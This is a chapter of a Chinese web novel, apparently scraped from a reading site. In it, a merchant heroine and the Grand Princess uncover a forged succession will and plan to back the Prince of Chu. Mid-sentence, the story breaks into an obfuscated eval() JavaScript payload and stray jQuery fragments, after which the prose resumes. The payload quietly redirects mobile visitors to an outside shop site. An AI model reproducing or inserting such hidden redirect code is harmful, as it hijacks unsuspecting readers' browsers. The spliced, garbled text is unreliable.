华挽月心底觉出点不同寻常的意味,试探着道:“姐姐可愿意多跟我说一些?”
见长公主没有展现出厌烦的神情,她才继续:“如今在陛下眼里,我算是依附姐姐而生的菟丝花,也是姐姐的软肋,陛下想利用我重创您,但我却不想成为姐姐的拖累,我想为您分担。”
果子给她画到了眼妆,长公主闭上眼道:“这些年我手中的实权已被皇帝的人瓜分,唯一能让皇帝太子忌惮的只有朝中人脉。如果我回了封地,手上的人脉也全都废了。”
华挽月思索道:“可如今全国各处都在起义,他们将您赶走,就不怕您拥兵自立吗?”
“封地靠海,穷困苦寒。只有少量抗倭的兵力,况且我一介女流,便是有这心思,也不会有人追随。”
长公主掀起眼皮看着华挽月,“你起了什么心思?”
华挽月笑笑,“我能有什么心思,一只小小蚍蜉还能妄想撼树不成?若我真想,早就和李随昱他们一道回渌州了,哪里用得着在京中受气。”
长公主一脸得逞的笑意回头,“你承认你在和离前就知道造反一事了?”
华挽月一僵,随机反应过来,羞恼道:“姐姐!你套我的话!”
长公主笑了声,而后敛了神色,正色道:“先帝在时,当今的陛下还是魏王。楚王和魏王同为皇贵妃的亲子,楚王骁勇善战,魏王性格亲和,二人皆为人中龙凤。”
先帝性格激进,始终认为国家需要扩张,因此朝臣一直觉得他会把皇位传给楚王。可没想到先帝逝去,留下的遗诏竟然是传位于魏王。
当时的魏王并没有得到朝臣的认可,是长公主和楚王一点一点帮他揽权,坐稳了皇位。
魏王成为大郦真正的皇帝。却很快展现出了与当皇子时不一样的一面——表面仍然亲和,实则多疑又偏激。
李随昱五岁时在战场走失,楚王不得不放弃兵权开始全国寻子。
皇帝趁此机会收了他的兵权,在楚王外出的这几年,长公主的权利也一点一点被皇帝蚕食。
即便如此,皇帝这些年来还是不断的试探打压。
这股压力让楚王府不得不用自污的方式来证明他们真的无心于皇位,也让长公主对自己独女和亲一事毫无反抗之力。
皇帝大权在握,整个京城被他守的固若金汤。
楚王要返,只能从京外起兵,如今的形势已经是楚王一家能达到的最好的状态。
华挽月听完长公主的描述,心中忽然想起自己很久以前和李随昱说过的猜测。
自古以来,卸磨杀驴是当皇帝的基本生存法则。皇帝对楚王和长公主的怀疑,华挽月倒是觉得合情合理。
但既然已经把楚王和长公主压制到了无权可依靠,皇帝一而再、再而三的试探就显得有些不同寻常了,更像是……心虚。
华挽月大胆假设:假如先帝传位魏王的遗诏是假的,真实的遗诏是传位给楚王。
魏王想办法篡改了遗诏,真实的遗诏已经找不到了。
当时长公主是很得先帝圣心的女儿,魏王怀疑长公主知道遗诏一事,所以才长久以来对楚王和长公主进行打压,
这样一来,皇帝的疑心和忌惮变得合理多了。
华挽月将自己的猜测说给长公主听,长公主看她的视线一下子从平淡变成了极大的赞赏和惊喜:“李随昱没有把你带走,是他最大的损失。”
华挽月心神一震:“我猜对了?”
长公主陷入回忆中,“我当时确实很得圣心,父皇甚至问过我想让哪一个弟弟当皇帝。楚王骁勇善战,但他行为激进。我认为大郦当时已经够繁盛了,不需要一个激进的君王来扩张国土,更需要的是一个保守派来稳固国本。”
“所以您选了魏王?”
“是。但父皇那时的神色明显不同意,父皇当年也是在马背上打天下的,自然希望有一个更像自己的儿子来接管国家,所以他在我面前写了遗诏。”
华挽月倒吸一口气:“在您面前写的?”
“他希望我可以好好辅佐楚王,补上他的短板。”
长公主自嘲地笑笑,神色落寞,“当时魏王登基,我虽然惊讶,但并没有提出异议,因为我人为魏王更适合当下的大郦。但我没想到,只是坐上皇位,我的弟弟就完全变得不一样了。”
华挽月安抚地握住她的手,柔声道:“这不是您的错。”
长公主道:“皇帝这么多年都没有对我们动杀心已极为难得,但没想到反而是太子起了杀心。”
如果储君是个时时刻刻想治她于死地之人,那她真的要为自己打算一些。
说到太子,华挽月又想起了林培荣,“太子不是和陛下不和吗?为何他们会突然一起利用林培荣来赶姐姐出京?”
“太子是皇帝培养的储君,就算不和,皇帝也不会动他。”长公主道:“皇帝一开始是想用你引出昱儿,但昱儿没有出现,他便想顺便解决了林培荣——林培荣是李关暗中认下的干儿子,如今却都跟太子有接触,他想趁机警示一番。”
华挽月低头,默默消化长公主给出的信息。
长公主安慰道:“皇帝不会对你动手,你身后是华家,一方首富能为南方反叛军带来的支持是巨大的,皇帝不会在明面上得罪你。牵扯到你我,应该只是太子的奇招。
这一切,在今天之前,华挽月一直以为跟自己搭不上边。
但实际上,皇帝、太子、楚王、长公主、李关……这些大郦的权力巅峰,竟都不知不觉跟她产生了牵扯。
她早已深入局中。
她确实是一颗小小的“四两”,有了能拨动千斤的力气。
华挽月看向长公主,道:“姐姐往后一直这么忍下去吗?七日后,若是太子得出不利于您的结果,您就这样甘心回到封地去?我没了姐姐,又如何在这水深火热的京城生存。”
长公主眸光闪动,刚要说话,就听华挽月直言道:“姐姐,我们投靠楚王吧。”
长公主旋即笑道:“你个机灵地鬼丫头,既然敢问出口,心中不是已经有了答案。”
华挽月娇憨道,“姐姐与我推心置腹地说了这么多,我若是还不知姐姐什么意思,岂不是坏了我京城第一女商的名声!”
“京城第一女商?京中何时有了这等名号?”
华挽月大言不惭:“刚刚,我自己封的。”
“鬼丫头。”长公主笑着拍了拍她的手,“说是投靠,可哪里这么容易,我们连消息都递不出去。”
华挽月脸色虽然有病中的潮红,但眉眼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566725|138333||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
弯弯,笑意轻快,志在必得道:“第一女商自有第一女商的办法。姐姐,您心中是否已经有了打算?”
长公主敛眉起身,周身猛地散发出不容忽视的上位者气息,她眉眼淡漠傲然,睥睨众生的威慑力十足,吓得一直猫着脑袋的果子往旁边躲了躲。
“本宫跟着先帝肃清朝堂时,楚王魏王还只会追着小姑娘跑呢,如今本宫想皇位换个人坐,用不着看他们的脸色。”
长公主没有和华挽月说她想要做的事,只是让华挽月不用担心,需要她联系南方反叛军时,她自然会找她。
华挽月还生着病,在长公主这里得了准话,后知后觉地有些疲累,也就没多待,回了自己的客房。
不过回房后她也没有休息,而是找来笔墨,坐于书桌前,正式开始发挥自己着一颗小小的“四两”的作用。
“你知道商人最优秀的品质是什么吗?”
深夜,李随昱撤去了舒宇的伪装,在月光和火烛的交辉相应下,用稍烫的清水给华挽月擦拭着后背。
听见华挽月所问,李随昱用尽全身的力气将思绪从她的身上剥离,哑声道:“会赚钱?”
华挽月两手抱着腿,面向将被子抱在胸前盖住其他地方,懒洋洋地说:“是洞察人心和整合资源。”
李随昱稍加思索,“确实。”
“皇帝为了不把华家推向你们,七日后的结果不会对我和长公主太过不利。但太子既然整这一套出想把长公主赶出京城,那必然是长公主哪里妨碍了他。长公主最近做了什么?”
“在庆国开店。”
庆国……
华挽月忽然背后一痒,她动了下肩膀,“庆国和大郦的太子有什么关系?”
李随昱明显知道的比华挽月要多,道:“太子是皇后的儿子,皇后是当初提出将长公主的独女严青姮嫁到庆国的人。太子去年夏天暗中掌控了东海兵力,东海抗倭的慕安将军母族是庆国人。”
他话音才落,华挽月背上再次落下细细密密的痒意。
华挽月一边想思考这一串人的关系,一边又被李随昱吸引了注意,差点精神分裂。
她病着,本来就浑身酸软,这会儿向侧面一倒,直接用被子把自己蒙了起来。
被子外面,李随昱的重量压了下来,华挽月哼哼两声:“走开。”
李随昱现在半点儿不敢忤逆她,乖乖躺到一侧,将脑袋搁到她头顶道:“四年前,庆国来大郦进贡皮草,庆国太子到访,看上了长公主独女严青姮。长公主不愿女儿嫁到国外,顶着压力将女儿护了下来。慕安将军母亲是庆国太子嫁到大郦和亲的胞妹,暗中可能与庆国有通信。”
华挽月脑子不太清楚,一时反应不过来这一大串任务关系,起身想要去找纸笔,李随昱却将她压制着,简而言之:“皇后将严青姮当人情卖了出去。”
太子掌握了东海的兵力,意味着太子其实心里对皇帝已经有了反义。
这确实有可能。皇帝才四十来岁,正直壮年,太子要想熬成皇帝最少得等个二三十年。那时候他都四五十了,若是太孙成气,皇帝直接把皇位传给太子儿子都有可能。
太子等不急,所以已经开始暗中运作,侧面说明京城真的被皇帝严防死守,连太子都只能从京外反。